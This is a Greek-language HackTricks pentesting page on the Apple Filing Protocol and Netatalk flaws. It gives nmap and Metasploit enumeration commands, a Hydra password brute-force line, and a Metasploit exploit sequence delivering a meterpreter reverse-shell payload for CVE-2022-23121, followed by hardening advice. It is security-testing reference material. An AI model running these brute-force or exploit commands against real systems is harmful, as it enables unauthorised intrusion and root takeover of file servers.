548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Το Apple Filing Protocol (AFP), γνωστό κάποτε ως AppleTalk Filing Protocol, είναι ένα εξειδικευμένο πρωτόκολλο δικτύου που περιλαμβάνεται μέσα στην Apple File Service (AFS). Είναι σχεδιασμένο να παρέχει υπηρεσίες αρχείων για macOS και το κλασικό Mac OS. Το AFP ξεχωρίζει για την υποστήριξη ονομάτων αρχείων Unicode, δικαιωμάτων τύπου POSIX και ACL, resource forks, ονομασμένων επεκτάσεων χαρακτηριστικών και προηγμένων μηχανισμών κλειδώματος αρχείων.

Αν και το AFP έχει αντικατασταθεί από το SMB στις σύγχρονες εκδόσεις macOS (το SMB είναι το προεπιλεγμένο από το OS X 10.9), εξακολουθεί να συναντάται σε:

  • Κληρονομημένα περιβάλλοντα macOS / Mac OS 9
  • Συσκευές NAS (QNAP, Synology, Western Digital, TrueNAS…) που ενσωματώνουν τον ανοιχτού κώδικα δαίμονα Netatalk
  • Δίκτυα μικτής πλατφόρμας όπου το Time-Machine-over-AFP είναι ακόμα ενεργοποιημένο

Default TCP Port: 548 (AFP over TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Γρήγορη πληροφορία για banner / διακομιστή

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Χρήσιμα σενάρια NSE για AFP:

ΣενάριοΤι κάνει
afp-lsΛίστα διαθέσιμων όγκων και αρχείων AFP
afp-bruteΕπιθέσεις brute-force κωδικών πρόσβασης κατά της σύνδεσης AFP
afp-serverinfoΕξαγωγή ονόματος διακομιστή, τύπου μηχανής, έκδοσης AFP, υποστηριζόμενων UAMs, κ.λπ.
afp-showmountΛίστα κοινών πόρων μαζί με τα ACL τους
afp-path-vulnΑνίχνευση (και δυνατότητα εκμετάλλευσης) διαδρομής καταλόγου, CVE-2010-0533

Το σενάριο brute-force NSE μπορεί να συνδυαστεί με Hydra/Medusa αν απαιτείται περισσότερος έλεγχος:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Αλληλεπίδραση με κοινές χρήσεις

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (χρησιμοποιώντας afpfs-ng ‑ πακέτο σε πολλές διανομές)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Μόλις τοποθετηθεί, θυμηθείτε ότι οι κλασικοί πόροι Mac αποθηκεύονται ως κρυφά ._* αρχεία AppleDouble – αυτά συχνά περιέχουν ενδιαφέροντα μεταδεδομένα που παραλείπουν τα εργαλεία DFIR.


Κοινές Ευπάθειες & Εκμετάλλευση

Αλυσίδα RCE χωρίς αυθεντικοποίηση Netatalk (2022)

Πολλοί προμηθευτές NAS παρέδωσαν Netatalk ≤3.1.12. Η έλλειψη ελέγχου ορίων στη parse_entries() επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει έναν κακόβουλο AppleDouble επικεφαλίδα και να αποκτήσει απομακρυσμένο root πριν από την αυθεντικοποίηση (CVSS 9.8 – CVE-2022-23121). Μια πλήρης ανάλυση από την NCC Group με PoC που εκμεταλλεύεται το Western-Digital PR4100 είναι διαθέσιμη.

Το Metasploit (>= 6.3) περιλαμβάνει το module exploit/linux/netatalk/parse_entries το οποίο παραδίδει το payload μέσω DSI WRITE.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Αν ο στόχος εκτελεί μια επηρεαζόμενη έκδοση firmware QNAP/Synology, η επιτυχής εκμετάλλευση αποφέρει ένα shell ως root.

Heap overflow OpenSession Netatalk (2018)

Οι παλαιότερες εκδόσεις Netatalk (3.0.0 - 3.1.11) είναι ευάλωτες σε μια εγγραφή εκτός ορίων στον χειριστή DSI OpenSession που επιτρέπει την εκτέλεση μη αυθεντικοποιημένου κώδικα (CVE-2018-1160). Μια λεπτομερής ανάλυση και PoC δημοσιεύθηκαν από την Tenable Research.

Άλλα αξιοσημείωτα ζητήματα

  • CVE-2022-22995 – Ανακατεύθυνση symlink που οδηγεί σε αυθαίρετη εγγραφή αρχείου / RCE όταν είναι ενεργοποιημένο το AppleDouble v2 (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Διέλευση καταλόγου στο Apple Mac OS X 10.6 AFP (ανιχνεύθηκε από afp-path-vuln.nse).
  • Πολλαπλά σφάλματα ασφάλειας μνήμης διορθώθηκαν στο Netatalk 4.x (2024) – προτείνεται η αναβάθμιση αντί της επιδιόρθωσης μεμονωμένων CVEs.

Συστάσεις Άμυνας

  1. Απενεργοποιήστε το AFP εκτός αν είναι απολύτως απαραίτητο – χρησιμοποιήστε SMB3 ή NFS αντί αυτού.
  2. Αν το AFP πρέπει να παραμείνει, αναβαθμίστε το Netatalk σε ≥ 3.1.18 ή 4.x, ή εφαρμόστε firmware προμηθευτή που επιστρέφει τις επιδιορθώσεις του 2022/2023/2024.
  3. Επιβάλετε ισχυρούς UAMs (π.χ. DHX2), απενεργοποιήστε τις συνδέσεις σε καθαρό κείμενο και τις συνδέσεις επισκεπτών.
  4. Περιορίστε το TCP 548 σε αξιόπιστα υποδίκτυα και τυλίξτε το AFP μέσα σε ένα VPN όταν εκτίθεται απομακρυσμένα.
  5. Σαρώστε περιοδικά με nmap -p 548 --script afp-* σε CI/CD για να εντοπίσετε κακόβουλες / υποβαθμισμένες συσκευές.

Brute-Force

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks